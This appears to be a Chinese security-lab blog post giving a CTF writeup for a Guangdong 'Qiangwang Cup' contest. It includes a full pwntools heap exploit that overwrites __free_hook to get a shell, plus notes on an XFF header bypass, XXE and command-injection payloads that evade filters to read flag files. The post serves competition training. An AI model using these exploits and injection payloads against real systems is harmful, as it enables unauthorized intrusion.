您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

广东省第三届强网杯Writeup

合天网安实验室 发布时间:2019-09-16 10:51:27 ,浏览量:0

0X00  Pwn1

没有检查偏移,有数组越界

sleep有多线程竞争

解题思路

主要是利用多线程竞争时候的sleep(3),run后把对应的堆块free掉之后,可以泄露地址。本地远程同时测试得到环境是libc2.27,用ubuntu18.04直接跑测试,然后通过填满tcache来泄露libc,然后通过run来修改fd为free_hook,然后再malloc两次,第二次写free_hook为system地址,再delete直接getshell。

from pwn import *
context(os='linux',arch='amd64',aslr= 'False',log_level='debug')




local = 0
if local == 1:
p = process('./pwn1')
elf = ELF('./pwn1')
libc = elf.libc
#p =process(['/lib64/ld-linux-x86-64.so.2', './pwn1', './libc.so.6'])
else:
p =remote("119.61.19.212",8087)
elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')




def add(index, content):
#p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('content:\n')
p.sendline(content)


def delete(index):
p.recvuntil('3.run\n')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))


def run(index, key):
#p.recvuntil('3.run\n')
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('input key:')
p.sendline(str(key))
sleep(1)
delete(str(index))




for i in xrange(8):
add(i,'A\n')




for i in xrange(7):
delete(6-i)




run(7,0)




p.recvuntil('3.run\n')
leak = u64(p.recvn(6).ljust(8,'\0'))
log.success('leak : ' +hex(leak))
libc_address = leak - 0x3ebca0




system = libc_address +libc.symbols['system']
free_hook = libc_address +libc.symbols['__free_hook']




log.success('system : ' +hex(system))
log.success('free_hook : ' +hex(free_hook))




add(0,'A'*0x10)
add(1,'A'*0x10)
run(0,0)




p.recvuntil('3.run\n')
heap_addr =u64(p.recvn(6).ljust(8, '\0')) - 0x160
log.success('heap_addr : ' +hex(heap_addr))
addr = heap_addr ^ free_hook
run(1,addr)
p.recvuntil('3.run\n')
addr2 =u64(p.recvn(6).ljust(8, '\0'))
log.success('heap_addr2 : ' +hex(addr2))




add(2,'/bin/sh\x00')
add(3,p64(system))








delete(2)
p.interactive()

PWN是CTF赛事中主流题型,主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关PWN的学习可到合天网安实验室学习实验——CTF-PWN系列汇总,可扫描下方二维码预览学习。

0x01 Web

1. 小明又被拒绝了

修改XFF:127.0.0.1,admin=1

2. XX?

看到源码,以及题目意思,尝试使用XXE攻击


]>

&xxe;
mypass

伪协议读取flag.php


]>

&xxe;
mypass

想了解php中的伪协议的应用及攻击手段研究,可到合天网安实验室学习实验——PHP安全特性之伪协议,可扫描下面二维码开始预览学习。

3. Ping一下

fuzz之后,可以发现|被过滤,可以使用;代替

发现cat,php会提示警告,使用\分割即可:

%3Bc\at%24%7BIFS%7Din\dex.p\hp,但是源码显示并不完全:

使用tail命令读取最后一行

%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag

4. PHP

            
关注
打赏
1665306545
查看更多评论
0.0446s